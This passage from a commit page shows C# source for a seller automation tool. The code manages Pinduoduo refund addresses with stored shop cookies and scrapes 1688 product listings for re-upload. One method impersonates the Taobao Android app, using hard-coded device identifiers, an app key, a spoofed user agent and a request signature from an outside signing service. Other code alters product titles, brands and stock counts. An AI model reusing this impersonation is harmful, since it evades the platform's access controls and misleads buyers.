temu客户端程序

This commit is contained in:
wule committed 2025-06-29 19:38:31 +08:00
commit 4aaf264e89
694 files changed
+263780

No files matched your search

+119
View File
@@ -0,0 +1,119 @@
using AllBase;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using Work.Api;
namespace Work
{
public class AfterSaleSet
{
public ShopChatBase shop;
public string id;
public static List<RefundAdd> refundAddList = new List<RefundAdd>();
public static List<RefundAdd> refundTempAddList = new List<RefundAdd>();
public static void query()
{
refundAddList.Clear();
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectReplace || !shop.Showed)
continue;
string url = "https://mms.pinduoduo.com/earth/api/refundAddress/list";
string refere = "https://mms.pinduoduo.com/order.html";
string data = "{}";
//第一页匹配结果
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies);
if (html.Contains("\"success\":true"))
{
LogSave.Add("售后设置", "读取店铺" + shop.ShopName + ",售后地址信息。");
var m = BaseRegex.GetMatchRegex(ref html, @"{""id"":[^}]+?}");
for (int j = 0; m != null && j < m.Count; j++)
{
string list = m[j].Groups[0].Value;
RefundAdd refundAdd = new RefundAdd();
refundAdd.shopName = shop.ShopName;
refundAdd.id = BaseRegex.GetLongJson(ref list, "id");
refundAdd.refundAddress = BaseRegex.GetStringJson(ref list, "refundAddress");
refundAdd.refundName = BaseRegex.GetStringJson(ref list, "refundName");
refundAdd.refundPhone = BaseRegex.GetStringJson(ref list, "refundPhone");
refundAdd.refundTel = BaseRegex.GetStringJson(ref list, "refundTel");
refundAdd.provinceName = BaseRegex.GetStringJson(ref list, "provinceName");
refundAdd.cityName = BaseRegex.GetStringJson(ref list, "cityName");
refundAdd.districtName = BaseRegex.GetStringJson(ref list, "districtName");
refundAdd.isDefault = BaseRegex.GetStringJson(ref list, "isDefault");
refundAdd.refundId = BaseRegex.GetStringJson(ref list, "refundId");
refundAdd.mallId = BaseRegex.GetLongJson(ref list, "mallId");
refundAddList.Add(refundAdd);
refundTempAddList.Add(refundAdd);
Thread.Sleep(1*1000);
}
}
else
{
string errorMsg = BaseRegex.GetStringJson(ref html, "errorMsg");
LogSave.Add("售后设置", "读取店铺" + shop.ShopName + ",售后地址失败," + errorMsg);
}
}
}
public void del()
{
string url = "https://mms.pinduoduo.com/earth/api/refundAddress/delete";
string refere = "https://mms.pinduoduo.com/order.html";
string data = "{\"id\":" + id + "}";
//第一页匹配结果
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies);
if (html.Contains("\"success\":true"))
{
LogSave.Add("售后设置", "店铺" + shop.ShopName + ",删除售后地址信息成功。");
}
else
{
string errorMsg = BaseRegex.GetStringJson(ref html, "errorMsg");
LogSave.Add("售后设置", "店铺" + shop.ShopName + ",删除售后地址信息失败。"+ errorMsg);
}
}
public void defaultAddress()
{
string url = "https://mms.pinduoduo.com/earth/api/refundAddress/default";
string refere = "https://mms.pinduoduo.com/order.html";
string data = "{\"id\":" + id + "}";
//第一页匹配结果
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies);
if (html.Contains("\"success\":true"))
{
LogSave.Add("售后设置", "店铺" + shop.ShopName + ",设置默认售后地址信息成功。");
}
else
{
string errorMsg = BaseRegex.GetStringJson(ref html, "errorMsg");
LogSave.Add("售后设置", "店铺" + shop.ShopName + ",设置默认售后地址信息失败。" + errorMsg);
}
}
public static void SysAddress()
{
}
}
public class RefundAdd
{
public string shopName = "";
public long id = 0;
public string refundAddress = "";
public string refundName = "";
public string refundPhone = "";
public string refundTel = "";
public string provinceName = "";
public string cityName = "";
public string districtName = "";
public string isDefault = "";
public string refundId = "";
public long mallId = 0;
}
}
+949
View File
@@ -0,0 +1,949 @@
using System;
using System.Threading;
using AllBase;
using Work.ManageClass;
using Work.CollectClass;
using System.Net;
using System.IO;
using System.IO.Compression;
using System.Text;
using Newtonsoft.Json.Linq;
using System.Linq;
using NaiBa.Util.Extension;
namespace Work.Api
{
public class AlibabaProductGet
{
public ProductCollectBase Product;
public bool IsPinduoduo = false;
public bool OnSale = true;
public AlibabaProductGet(ProductCollectBase p)
{
Product = p;
}
public void Get()
{
if (TaobaoMobileCollect.ProductTemp.ContainsKey(Product.from_id))
{
Product = TaobaoMobileCollect.ProductTemp[Product.from_id].Clone();
return;
}
string url = Product.from_url;
string refere = "http://page.1688.com/";
bool canUse;
string serverTempHtml = ServerTemp.Get(3, "main-" + Product.from_id.ToString(), out canUse);
string html = serverTempHtml;
if (!string.IsNullOrEmpty(html) && !html.Contains("调用成功"))
{
if (string.IsNullOrEmpty(html))
{
html = GetPostTaobaoHtml.UploadTaobao(url, refere, false);
}
if (string.IsNullOrEmpty(html) || !html.Contains("currentTime"))
{
Thread.Sleep(60 * 1000);
html = GetPostTaobaoHtml.UploadTaobao(url, refere, false);
}
if (string.IsNullOrEmpty(html) || !html.Contains("currentTime"))
{
LogSave.Add("获取产品详细页面失败,请检查程序 " + url);
OnSale = false;
return;
}
if (html.Contains("no-price-txt"))
{
LogSave.Add("获取产品详细页面发现没有价格,跳过 " + url);
OnSale = false;
return;
}
if (!canUse)
ServerTemp.Set(3, "main-" + Product.from_id.ToString(), html);
Product.from_cat_id = BaseRegex.GetIntJson(ref html, @"catid");
if (Product.from_cat_id == 0)
{
int.TryParse(BaseRegex.GetMatchRegexString(ref html, "catid:'([^}]+?)'"), out Product.from_cat_id);
}
Product.item_size = "";
Product.item_weight = 1;
Product.price = BaseRegex.GetDecimalJson(ref html, @"refPrice");
if (Product.price == 0)
{
decimal.TryParse(BaseRegex.GetMatchRegexString(ref html, "refPrice:'([^}]+?)'"), out Product.price);
}
Product.discount = BaseRegex.GetDecimalJson(ref html, @"discount");
Product.discountPrice = BaseRegex.GetDecimalJson(ref html, @"discountPrice");
if (Product.discount == 0)
{
Product.discount = 1;
Product.discountPrice = Product.price;
}
Product.name = BaseRegex.GetMatchRegexString(html, "<h1[^>]*?>([^<]+)</h1>");
foreach (string s in AlibabaShop.NoTitleWords)
{
Product.name = Product.name.Replace(s, "");
}
Product.name = BaseRegex.Relpace(Product.name.Replace("2016", "2017").Replace("2015", "2017"), @"([a-zA-Z]{1,2}[\d]{1,5})", "").Trim();
bool had2017 = Product.name.Contains("2017");
Product.name = "'" + Product.name + "\"";
Product.name = BaseRegex.Relpace(Product.name, @"([a-zA-Z0-9# -]{2,20}?)""", "").Replace("\"", "");//去掉结尾的数字和字母下划线
Product.name = BaseRegex.Relpace(Product.name, @"'([a-zA-Z0-9# -]{2,20})", "").Replace("'", "");//去掉开始的数字和字母下划线
if (had2017 && !Product.name.Contains("2017"))
Product.name = "2017" + Product.name;
bool titleHad = false;
//foreach (string s in AlibabaShop.TitleCantHad)
//{
// if (Product.name.Contains(s))
// titleHad = true;
//}
if (Product.name.Length < 12 || titleHad)
{
LogSave.Add("获取产品详细页面发现标题 " + Product.name + " 异常,跳过 " + url);
return;
}
Product.sell_pt = "";
var m = BaseRegex.GetMatchRegex(ref html, @"data-imgs='{""preview"":""([^']+?)"",""original"":""([^']+?)""");
if (m.Count == 0)
{
LogSave.Add("获取图片为空,请检查程序 " + url);
return;
}
for (int i = 0; i < m.Count; i++)
{
Product.Images.Add(m[i].Groups[2].Value);
}
Product.image = Product.Images[0];
Product.image_from_url = Product.image;
Product.image_path = "";
SetSkuMap(ref html, url);
string area = BaseRegex.GetMatchRegexString(ref html, @"<span class=""disc"">([^<]+)</span>");
if (!string.IsNullOrEmpty(area) && area.Contains(" "))
{
Product.state = area.Substring(0, area.IndexOf(" "));
Product.city = area.Substring(area.IndexOf(" ") + 1);
}
else
{
Product.state = BaseRegex.GetMatchRegexString(ref html, "province=([^;]+?);");
Product.city = BaseRegex.GetMatchRegexString(ref html, "city=([^;]+?)\"");
}
m = BaseRegex.GetMatchRegex(ref html,
@"<td class=""de-feature"">([^<]+?)</td>[\s]+<td class=""de-value"">([^<]+?)</td>");
for (int i = 0; i < m.Count; i++)
{
string name = m[i].Groups[1].Value;
string value = m[i].Groups[2].Value;
bool had = false;
foreach (string s in AlibabaShop.NoPropWords)
{
if (name.Contains(s))
{
had = true;
break;
}
}
if (had)
continue;
if (name == "品牌")
value = "十四楼";
Product.Prop.Add(new KeyValueBase(name, value));
}
string memberId = BaseRegex.GetMatchRegexString(ref html, @" data-tfs-url=""([^""]+)""");
string desc =
GetPostTaobaoHtml.UploadTaobao(memberId, Product.from_url, false);
string content = BaseRegex.GetMatchRegexString(ref desc, @"""content"":""([\w\W]+?)""};");
if (string.IsNullOrEmpty(content))
{
LogSave.Add("获取描述异常,请检查程序 " + url);
return;
}
content = content.Replace("\\\"", "\"").Replace("\\\\", "\\");
BaseRegex.Relpace(ref content, @"<table background=([\w\W]+?)>超级快车", "");
string newContentx = BaseRegex.Relpace(content, @"<table ([\w\W]+)</table>", "");
BaseRegex.Relpace(ref newContentx, @"(<[aA] [^>]+?>([\w\W]*?)</[aA]>)", "");
if (string.IsNullOrEmpty(newContentx) || !newContentx.ToLower().Contains("<img "))
newContentx = content;
string newContent = "";
m = BaseRegex.GetMatchRegex(ref newContentx, @"(<img [^>]+?>)");
for (int i = 0; i < m.Count; i++)
{
if (!m[i].Groups[1].Value.Contains(".alicdn.com") || m[i].Groups[0].Value.Contains("display: none") || m[i].Groups[0].Value.Contains("display:none"))
continue;
newContent += m[i].Groups[1].Value + "<br /><br />";
}
if (string.IsNullOrEmpty(newContent))
{
LogSave.Add("描述正文为空,跳过 " + url);
return;
}
html = GetPostTaobaoHtml.UploadTaobao(
"https://laputa.1688.com/offer/ajax/widgetList.do?callback=jQuery172025158196459054927_1533388414900&blocks=&data=offerdetail_ditto" +
"_title%2Cofferdetail_common_report%2Cofferdetail_ditto_serviceDesc%2Cofferdetail_ditto_preferential%2Cofferdetail_ditto_postage%2Coff" +
"erdetail_ditto_offerSatisfaction%2Cofferdetail_w1190_guarantee%2Cofferdetail_w1190_tradeWay%2Cofferdetail_w1190_samplePromotion%2Coffer" +
"detail_ditto_whosaleself&offerId=" + Product.from_id + "&pageId=laputa20140721212446", Product.from_url, false);
Product.express_price = BaseRegex.GetDecimalJson(ref html, "totalCost");
Product.content = newContent;
Product.content_alibaba = newContent;
Product.main_cid = 0;
Product.from_title = Product.name;
Product.from_site_id = 3;
}
else
{
if (string.IsNullOrEmpty(html))
{
string data = "{\"responseClass\":\"\\\"com.alibaba.wireless.detail.netdata.offerdatanet.OfferDetailDataResponse\\\"\",\"RESPONSE_DATA_KEY\":\"\",\"MOCK_DATA\":\"false\",\"offerId\":\"" + Product.from_id + "\"}";
//先去取数据
html = MakeRequestThroughTradeAscM(data);
if (!html.Contains("调用成功"))
{
return;
}
}
bool bo = AliBaBaModle(html);
if (!bo)
{
return;
}
}
if (Product.cat3 == 3109)
{
var pro = Product.Props.Where(s => s.name.Contains("容量")).FirstOrDefault();
if (pro == null)
{
string mah = BaseRegex.GetMatchRegexString(ref Product.name, @"([\d]+)毫安");
PropBase p = new PropBase();
p.pinduoduo_id = "140871455";
p.id = 140871455;
p.name = "电池容量";
PropValueBase pr = new PropValueBase();
pr.id = PinduoduoCatList.GetDianYuanId(int.Parse(mah)).ToString();
pr.value = pr.id;
pr.name = mah + "毫安";
pr.number = new Random(Guid.NewGuid().GetHashCode()).Next(100, 1000);
pr.image = "";
pr.image_from_url = "";
p.Values.Add(pr);
Product.Props.Add(p);
for (int i = 0; i < Product.SkuMaps.Count; i++)
{
var sku = Product.SkuMaps[i];
sku.name = sku.name + ";" + mah + "毫安";
sku.nameLite = sku.nameLite + mah + "毫安";
}
}
else
{
if (string.IsNullOrEmpty(pro.pinduoduo_id))
{
pro.pinduoduo_id = "140871455";
pro.id = 140871455;
}
for (int i = 0; i < pro.Values.Count; i++)
{
var pr = pro.Values[i];
string mah= BaseRegex.GetMatchRegexString(ref pr.name, @"([\d]+)毫安");
pr.id= PinduoduoCatList.GetDianYuanId(int.Parse(mah)).ToString();
pr.value = pr.id;
}
}
}
if (IsPinduoduo)//如果是更新上家价格,则执行此代码
{
Product.main_cid = new FromTitleToCat().GetMainCatId(Product.cat1);
if (Product.main_cid == 0)
return;
//url = BaseClass.BigDataApiUrl + "?obj=product/product";
//string datax = "&act=update&site_id=3&shop_name=" + GetHtml.UrlEncodeUtf8(Product.from_shop_name) + "&json=" + GetHtml.UrlEncodeUtf8(JsonHelper.SerializeObject(Product));
//html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + datax);
try
{
if (TaobaoMobileCollect.ProductTemp.Count > 1000)
{
TaobaoMobileCollect.ProductTemp.Clear();
}
if (!TaobaoMobileCollect.ProductTemp.ContainsKey(Product.from_id))
TaobaoMobileCollect.ProductTemp.Add(Product.from_id, Product);
}
catch
{
}
//后期加代码
return;
}
if (Product.from_cat_id == 0)
{
Product.message = "分类识别错误:" + Product.name;
LogSave.Add(Product.message);
return;
}
LogSave.Add("获取成功:" + Product.name);
}
public void AslasyHtml(TaobaoProductBase t, string html)
{
if (string.IsNullOrEmpty(html) || html == "null")
return;
try
{
//string title = BaseRegex.GetStringJson(ref html, "fession_title");
//string[] goodTitle = title.Split(';');
//主图
string mainPic = BaseRegex.GetStringJson(ref html, "main_pic");
string[] images = mainPic.Split(';');
Product.Images.Clear();
for (int i = 0; i < images.Length; i++)
{
string img = images[i];
if (img.Contains("?"))
img = img.Substring(0, img.IndexOf("?"));
Product.Images.Add(img);
}
//详情图
string container_info = BaseRegex.GetMatchRegexString(ref html, @"""container_info"":""(.*?)""");
string[] contentimage = container_info.Split(';');
var m = BaseRegex.GetMatchRegex(ref container_info, @"<img([^""]+?)>");
string content = "";
for (int i = 0; i < m.Count; i++)
{
string img = m[i].Groups[0].Value;
if (img.Contains("?"))
img = img.Substring(0, img.IndexOf("?"));
content += img;
}
Product.content = content;
Product.Props.Clear();
string temp = "";
m = BaseRegex.GetMatchRegex(ref html,
@"\{""id"":([-\d]+),""name"":""([^}]+)"",""pinduoduo_name"":[^}]+?,""Values"":\[([\w\W]+?)\]\}");
for (int i = 0; i < m.Count; i++)
{
PropBase p = new PropBase();
p.id = long.Parse(m[i].Groups[1].Value);
p.name = m[i].Groups[2].Value;
p.name = BaseRegex.Relpace(p.name, "(&[a-zA-z0-9]+?;)", "");
bool had = false;
for (int j = 0; j < Product.Props.Count; j++)
{
if (Product.Props[j].name == p.name)
{
p = Product.Props[j];
had = true;
break;
}
}
temp = m[i].Groups[3].Value;
var mm = BaseRegex.GetMatchRegex(ref temp, @"""value"":""([-\d]*?)"",""name"":""([^""]+?)""[^\}]*\}");
for (int j = 0; j < mm.Count; j++)
{
string v = mm[j].Groups[1].Value;
string vi = mm[j].Groups[0].Value;
string image = BaseRegex.GetStringJson(ref vi, "image");
if (image == "null")
image = "";
PropValueBase pr = new PropValueBase();
pr.value = v;
pr.name = mm[j].Groups[2].Value;
pr.number = new Random(Guid.NewGuid().GetHashCode()).Next(100, 1000);
pr.image = image;
pr.image_from_url = image;
bool hadx = false;
for (int k = 0; k < p.Values.Count; k++)
{
if (p.Values[k].name == pr.name)
{
hadx = true;
break;
}
}
if (!hadx)
p.Values.Add(pr);
}
if (!had)
{
p.sort = i + 1;
Product.Props.Add(p);
}
}
//Product.name = goodTitle[0];
//for (int i = 1; i < goodTitle.Length; i++)
//{
// var p = t.Clone();
// t.Titlte = goodTitle[i];
// t.FromType = "阿里巴巴";
// t.Uped = false;
// UploadPinduoduoMain.ProductStock.Insert(0, p);
//}
}
catch
{
}
}
private string MakeRequestThroughTradeAscM(string data)
{
HttpWebResponse response = null;
string url = "http://acs.m.taobao.com/gw/mtop.1688.wosc.cbu.offerdetailservice.queryofferdetail/1.0/?data=";
try
{
string api = "mtop.1688.wosc.cbu.offerdetailservice.queryofferdetail";
string v = "1.0";
var t = BaseClass.GetTime(BaseClass.GetServerTimeString()).ToString();
string utdid = "XUEI6Cqy4UgDAHCsEH0z5one";
string uid = "";
string appKey = "25443018";
string lat = "";
string lng = "";
string ttid = "219201@taobao_android_7.6.0";
string sid = "";
string deviceId = "AqjuNSqg5WtUMlGAgV2ZsudCBHdVINyeYYmyjrge4w2P";
string features = "27";
string x_pv = "5.1";
string url_getSign = BaseClass.BuildObjString("get_taobao_sign&act=get_tb_sign");// "http://new.qixiaoke.com/?obj=littlecow/user&act=get_tb_sign";
string url_data = UserLogin.GetSignaturex("", "");
string sign = GetHtml.PostUtf8(url_getSign, url_data + "&t=" + t + "&api=" + api + "&v=" + v + "&data=" + data);
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url + GetHtml.UrlEncodeUtf8(data));
request.Headers.Add("x-features", features);
request.UserAgent = "MTOPSDK%2F3.1.1.7+%28Android%3B5.1%3BOPPO%3BOPPO+R9m%29";
request.Headers.Add("x-ttid", "219201@taobao_android_7.6.0");
request.Headers.Set(HttpRequestHeader.CacheControl, "no-cache");
request.Headers.Add("x-appkey", appKey);
request.ContentType = "application/x-www-form-urlencoded;charset=UTF-8";
request.Headers.Add("x-pv", x_pv);
request.Headers.Add("x-t", t.ToString());
request.Headers.Add("x-utdid", utdid);
request.Headers.Add("x-devid", deviceId);
request.Headers.Add("x-sign", sign);
request.Headers.Add("x-uid", uid);
request.Headers.Add("x-sid", sid);
request.Headers.Add("x-page-url", "http%3A%2F%2Fitem.taobao.com%2Fitem.htm");
request.Headers.Add("x-nettype", "WIFI");
request.Headers.Set(HttpRequestHeader.AcceptEncoding, "deflate");
response = (HttpWebResponse)request.GetResponse();
}
catch (WebException e)
{
bool flag = e.Status == WebExceptionStatus.ProtocolError;
if (!flag)
{
return "";
}
response = (HttpWebResponse)e.Response;
}
catch (Exception)
{
bool flag2 = response != null;
if (flag2)
{
response.Close();
}
return "";
}
return ReadResponse(response);
}
private static string ReadResponse(HttpWebResponse response)
{
using (Stream responseStream = response.GetResponseStream())
{
Stream streamToRead = responseStream;
if (response.ContentEncoding.ToLower().Contains("gzip"))
{
streamToRead = new GZipStream(streamToRead, CompressionMode.Decompress);
}
else if (response.ContentEncoding.ToLower().Contains("deflate"))
{
streamToRead = new DeflateStream(streamToRead, CompressionMode.Decompress);
}
using (StreamReader streamReader = new StreamReader(streamToRead, Encoding.UTF8))
{
return streamReader.ReadToEnd();
}
}
}
private bool AliBaBaModle(string html)
{
if (html.Contains("商品不存在或不可展示"))
{
//IsOnSale = false;
return false;
}
Product.item_weight = 1;
var priceInfo = BaseRegex.GetMatchRegexString(ref html, "\"currentPrices\":([\\w\\W]+?)],");
if (priceInfo.Contains("price"))
{
var sPriceTemp = BaseRegex.GetMatchRegex(ref priceInfo, "\"price\":\"([\\w\\W]+?)\"");
if (sPriceTemp.Count > 0)
{
string sPrice = "";
foreach (var item in sPriceTemp)
{
var v = item.ToString();
sPrice = BaseRegex.GetMatchRegexString(ref v, "\"price\":\"([\\w\\W]+?)\"");
if (!string.IsNullOrEmpty(Product.price.ToString()) && sPrice.ParseToDecimal() > Product.price)
{
if (sPrice.IndexOf("-") > 0)
{
sPrice = sPrice.Substring(0, sPrice.IndexOf('-'));
}
Product.price = Convert.ToDecimal(sPrice);
}
}
}
}
var saleCount = BaseRegex.GetMatchRegexString(ref html, "\"saledCount\":\"([\\w\\W]+?)\"");
int iSaleCount = 0;
int.TryParse(saleCount, out iSaleCount);
Product.saleCount = iSaleCount;
Product.discountPrice = Product.price;
Product.name = BaseRegex.GetMatchRegexString(html, "\"subject\":\"([\\w\\W]+?)\"");
foreach (string s in AlibabaShop.NoTitleWords)
{
Product.name = Product.name.Replace(s, "");
}
Product.name = BaseRegex.Relpace(Product.name.Replace("2018", "2020").Replace("2019", "2020"), @"([a-zA-Z]{1,2}[\d]{1,5})", "").Trim();
bool had2017 = Product.name.Contains("2019");
//Product.name = "'" + Product.name + "\"";
//Product.name = BaseRegex.Relpace(Product.name, @"([a-zA-Z0-9# -]{2,20}?)""", "").Replace("\"", "");//去掉结尾的数字和字母下划线
//Product.name = BaseRegex.Relpace(Product.name, @"'([a-zA-Z0-9# -]{2,20})", "").Replace("'", "");//去掉开始的数字和字母下划线
if (had2017 && !Product.name.Contains("2019"))
Product.name = "2019" + Product.name;
if (Product.name.Length < 12)
{
LogSave.Add("获取产品详细页面发现标题 " + Product.name + " 异常,跳过 " + Product.from_url);
return false;
}
Product.sell_pt = "";
var m = BaseRegex.GetMatchRegex(ref html, "\"originalImageURI\":\"([\\w\\W]+?)\"");
if (m.Count == 0)
{
LogSave.Add("获取图片为空,请检查程序 " + Product.from_url);
return false;
}
if (Product.Images.Count <= 0)//如果主图有了 则不需要从页面拿了(文本备份里面有了) updata by tl 20190716
{
for (int i = 0; i < m.Count; i++)
{
Product.Images.Add(m[i].Groups[1].Value);
}
}
Product.image = Product.Images[0];
Product.image_from_url = Product.image;
Product.image_path = "";
SetSkuMapMoble(ref html);
string area = BaseRegex.GetMatchRegexString(ref html, "\"location\":\"([\\w\\W]+?)\"");
if (!string.IsNullOrEmpty(area) && area.Contains(" "))
{
Product.state = area.Substring(0, area.IndexOf(" "));
Product.city = area.Substring(area.IndexOf(" ") + 1);
}
var prop = BaseRegex.GetMatchRegexString(ref html, "\"productFeatureList\":\\[([\\w\\W]+?)\\],");
m = BaseRegex.GetMatchRegex(ref prop, "\"name\":\"([\\w\\W]+?)}");
for (int i = 0; i < m.Count; i++)
{
string name = BaseRegex.GetMatchRegexString(m[i].Groups[0].Value, "\"name\":\"([\\w\\W]+?)\"");
string value = BaseRegex.GetMatchRegexString(m[i].Groups[0].Value, "\"value\":\"([\\w\\W]+?)\"");
bool had = false;
foreach (string s in AlibabaShop.NoPropWords)
{
if (name.Contains(s))
{
had = true;
break;
}
}
if (had)
continue;
if (name == "品牌")
value = "other/其他";
Product.Prop.Add(new KeyValueBase(name, value));
}
string contentUrl = BaseRegex.GetMatchRegexString(ref html, "\"detailUrl\":\"([\\w\\W]+?)\"");
string desc =
GetPostTaobaoHtml.UploadTaobao(contentUrl, Product.from_url, false);
string content = BaseRegex.GetMatchRegexString(ref desc, "\"content\":\"([\\w\\W]+?)\"};");
if (string.IsNullOrEmpty(content))
{
LogSave.Add("获取描述异常,请检查程序 " + Product.from_url);
return false;
}
content = content.Replace("\\\"", "\"").Replace("\\\\", "\\");
BaseRegex.Relpace(ref content, @"<table background=([\w\W]+?)>超级快车", "");
string newContentx = content;
BaseRegex.Relpace(ref newContentx, @"(<[aA] [^>]+?>([\w\W]*?)</[aA]>)", "");
if (string.IsNullOrEmpty(newContentx) || !newContentx.ToLower().Contains("<img "))
newContentx = content;
string newContent = "";
m = BaseRegex.GetMatchRegex(ref newContentx, @"(<img [^>]+?>)");
for (int i = 0; i < m.Count; i++)
{
if (!m[i].Groups[1].Value.Contains(".alicdn.com") || m[i].Groups[0].Value.Contains("display: none") || m[i].Groups[0].Value.Contains("display:none"))
continue;
newContent += m[i].Groups[1].Value + "<br /><br />";
}
if (string.IsNullOrEmpty(newContent))
{
LogSave.Add("描述正文为空,跳过 " + Product.from_url);
return false;
}
string offerFare = BaseRegex.GetMatchRegexString(ref html, "\"offerFareModel\":{([\\w\\W]+?)}");
string IsHasFare = BaseRegex.GetStringJson(ref html, "hasFare");
if (IsHasFare == "true")
{
Product.express_price = BaseRegex.GetDecimalJson(ref html, "cost");
}
Product.from_cat_id = BaseRegex.GetIntJson(ref html, @"topCategoryId");
//Product.content = newContent;
if (string.IsNullOrEmpty(Product.content))//加这个判断是为了有可能文件里面有了详情图 updata by tl 20190716
{
Product.content = newContent;
}
Product.content_alibaba = newContent;
Product.main_cid = 0;
Product.from_title = Product.name;
Product.from_site_id = 3;
return true;
}
private string UnTransferred(string Meaning)
{
            //转义字符变换成普通字符
            Meaning = Meaning.Replace("&lt;", "<");
Meaning = Meaning.Replace("&gt;", ">");
Meaning = Meaning.Replace("&apos;", "'");
Meaning = Meaning.Replace("&quot;", "\"");
Meaning = Meaning.Replace("&amp;", "&");
return Meaning;
}
/// <summary>
/// 设置skumap
/// </summary>
/// <param name="product"></param>
/// <param name="html"></param>
/// <param name="url"></param>
public void SetSkuMapMoble(ref string html)
{
string prop = BaseRegex.GetMatchRegexString(ref html, "\"skuProps\":([\\w\\W]+?)],");
string skuMap = string.Empty;
System.Text.RegularExpressions.MatchCollection mc = System.Text.RegularExpressions.Regex.Matches(html, "\"skuInfoMap\":([\\w\\W]+?)}},", System.Text.RegularExpressions.RegexOptions.IgnoreCase);
if (mc.Count > 0)
{
skuMap = mc[0].Groups[0].Value.ToString();
}
skuMap = skuMap.Replace("\"skuInfoMap\":", "").Trim(',');
if (string.IsNullOrEmpty(skuMap) || string.IsNullOrEmpty(prop))
{
return;
}
var m = BaseRegex.GetMatchRegex(ref prop, @"""prop"":""([^""]+?)"",""value"":\[([\w\W]+?\})\]\}");
if (m == null || m.Count == 0)
{
LogSave.Add("获取Prop异常,请检查程序 " + Product.from_url);
return;
}
for (int i = 0; i < m.Count; i++)
{
PropBase p = new PropBase();
string values = m[i].Groups[2].Value;
p.name = m[i].Groups[1].Value;
p.name = BaseRegex.Relpace(p.name, "(&[a-zA-z0-9]+?;)", "");
bool had = false;
for (int j = 0; j < Product.Props.Count; j++)
{
if (Product.Props[j].name == p.name)
{
p = Product.Props[j];
had = true;
break;
}
}
var mm = BaseRegex.GetMatchRegex(ref values, @"\{([^\}]+?)\}");
if (mm.Count == 0)
{
LogSave.Add("获取Prop数值异常,请检查程序 " + Product.from_url);
return;
}
for (int j = 0; j < mm.Count; j++)
{
PropValueBase pr = new PropValueBase();
string h = mm[j].Groups[1].Value;
h = UnTransferred(h).Replace(";", "").Replace(",", "");
//h = BaseRegex.Relpace(h, "(&[a-zA-z0-9]+?;)", "").Replace(";", "").Replace(",", "");
pr.name = BaseRegex.GetStringJson(ref h, "name");
pr.number = new Random(Guid.NewGuid().GetHashCode()).Next(100, 1000);
pr.image = BaseRegex.GetStringJson(ref h, "imageUrl").Replace("null",null);
pr.image_from_url = BaseRegex.GetStringJson(ref h, "imageUrl").Replace("null", null);
p.Values.Add(pr);
}
if (!had)
{
p.sort = i + 1;
Product.Props.Add(p);
}
}
try
{
JObject ja = JObject.Parse(skuMap);
string temp = ja.ToString();
string price = Product.price.ToString();
foreach (var item in ja)
{
string result = item.ToString();
string pri = BaseRegex.GetStringJson(ref result, "discountPrice");
if (string.IsNullOrEmpty(pri))
pri = BaseRegex.GetStringJson(ref result, "price");
if (!string.IsNullOrEmpty(pri))
price = pri;
string name = item.Key;
string sale_count = BaseRegex.GetStringJson(ref result, "saleCount");
string number = BaseRegex.GetStringJson(ref result, "canBookCount");
name = UnTransferred(name);
name = BuildName(name);
if (string.IsNullOrEmpty(name))
{
LogSave.Add("获取SKUmap名称异常,请检查程序 " + Product.from_url);
return;
}
SkuMapBase sm = new SkuMapBase();
sm.name = name;
sm.price = decimal.Parse(price);
sm.number = int.Parse(number);
sm.sale_count = int.Parse(sale_count);
Product.SkuMaps.Add(sm);
}
}
catch
{
}
//m = BaseRegex.GetMatchRegex(ref skuMap, "\"([\\s\\S]+?\":\\{\"specId\":[\\s\\S]+?skuId\":\"[\\d]+?\")");
//if (m.Count == 0)
//{
// LogSave.Add("获取skuMap异常,请检查程序 " + Product.from_url);
// return;
//}
//string price = BaseRegex.GetMatchRegexString(ref html, @"""priceRangeOriginal"":\[\[[\d]+, ([\d\.]+)?\]");
//if (string.IsNullOrEmpty(price))
//{
// price = Product.price.ToString();
//}
//for (int i = 0; i < m.Count; i++)
//{
// string pri = BaseRegex.GetMatchRegexString(m[i].Groups[0].Value, @"""discountPrice"":""([\d\.]+)""");
// if (string.IsNullOrEmpty(pri))
// pri = BaseRegex.GetMatchRegexString(m[i].Groups[0].Value, @"""price"":""([\d\.]+)""");
// if (!string.IsNullOrEmpty(pri))
// price = pri;
// string name = BaseRegex.GetMatchRegexString(m[i].Groups[0].Value, "\"([\\w\\W]+?)\":{");
// string sale_count = BaseRegex.GetMatchRegexString(m[i].Groups[0].Value, "\"saleCount\":\"([\\w\\W]+?)\"");
// string number = BaseRegex.GetMatchRegexString(m[i].Groups[0].Value, "\"canBookCount\":\"([\\w\\W]+?)\"");
// name = UnTransferred(name);
// name = BuildName(name);
// //name = BaseRegex.Relpace(name, "(&[a-zA-z0-9]+?;)", "").Replace(",", "");
// if (string.IsNullOrEmpty(name))
// {
// LogSave.Add("获取SKUmap名称异常,请检查程序 " + Product.from_url);
// return;
// }
// SkuMapBase sm = new SkuMapBase();
// sm.name = name;
// sm.price = decimal.Parse(price);
// sm.number = int.Parse(number);
// sm.sale_count = int.Parse(sale_count);
// Product.SkuMaps.Add(sm);
//}
}
/// <summary>
/// 设置skumap
/// </summary>
/// <param name="product"></param>
/// <param name="html"></param>
/// <param name="url"></param>
public void SetSkuMap(ref string html, string url)
{
string prop = BaseRegex.GetMatchRegexString(ref html, "\"skuProps\":([^\n]+?)\n");
if (string.IsNullOrEmpty(prop))
{
prop = BaseRegex.GetMatchRegexString(ref html, "skuProps:([^\n]+?)\n");
}
string skuMap = BaseRegex.GetMatchRegexString(ref html, "\"skuMap\":([^\n]+?)\n");
if (string.IsNullOrEmpty(skuMap))
{
skuMap = BaseRegex.GetMatchRegexString(ref html, "skuMap:([^\n]+?)\n");
}
if (string.IsNullOrEmpty(skuMap) || string.IsNullOrEmpty(prop))
{
//LogSave.Add("获取Prop或者skuMap异常,请检查程序 " + url);
return;
}
var m = BaseRegex.GetMatchRegex(ref prop, @"""prop"":""([^""]+?)"",""value"":\[([\w\W]+?\})\]\}");
if (m == null || m.Count == 0)
{
LogSave.Add("获取Prop异常,请检查程序 " + url);
return;
}
for (int i = 0; i < m.Count; i++)
{
PropBase p = new PropBase();
